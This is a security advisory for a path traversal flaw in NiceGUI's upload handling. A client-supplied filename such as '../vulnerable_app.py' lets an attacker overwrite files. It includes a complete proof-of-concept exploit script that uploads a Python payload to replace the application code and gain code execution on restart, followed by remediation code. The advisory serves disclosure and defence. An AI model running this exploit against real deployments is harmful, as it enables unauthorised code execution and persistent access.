NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write

Summary

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

async def save(self, path: str | Path) -> None:
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts:

• Relative paths with ../ sequences
• Absolute paths
• Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path = UPLOAD_DIR / e.file.name  # e.file.name = "../app.py"
await e.file.save(save_path)           # Writes outside UPLOAD_DIR

PoC

• Terminal 1 (App)

cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui

cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path

UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)

@ui.page('/')
def index():
    async def handle_upload(e):
        save_path = UPLOAD_DIR / e.file.name
        await e.file.save(save_path)
        ui.notify(f'File saved: {e.file.name}')
    
    ui.upload(on_upload=handle_upload, auto_upload=True)

ui.run(port=8080, reload=False)
EOF

python3 vulnerable_app.py &

• Terminal 2 (Exploit)

cat > exploit.py << 'EOF'
import requests, re, time

s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)

html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'

payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
    ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''

s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF

python3 exploit.py

• Restart the application to execute the injected code:

pkill -f vulnerable_app && python3 vulnerable_app.py

• Observe http://localhost:8080

Impact

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities:

• Write files to any location writable by the application process
• Overwrite Python application files to achieve remote code execution upon restart
• Overwrite configuration files to alter application behavior
• Write SSH keys, systemd units, or cron jobs for persistent access
• Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.

Remediation

For Users

async def handle_upload(e):
    safe_name = Path(e.file.name).name # Strip directory components!
    await e.file.save(UPLOAD_DIR / safe_name)

For Maintainers

async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None:
    target = Path(path).resolve()
    
    if base_dir is not None:
        base_dir = base_dir.resolve()
        if not target.is_relative_to(base_dir):
            raise ValueError(
                f"Path '{target}' escapes base directory '{base_dir}'"
            )
    
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)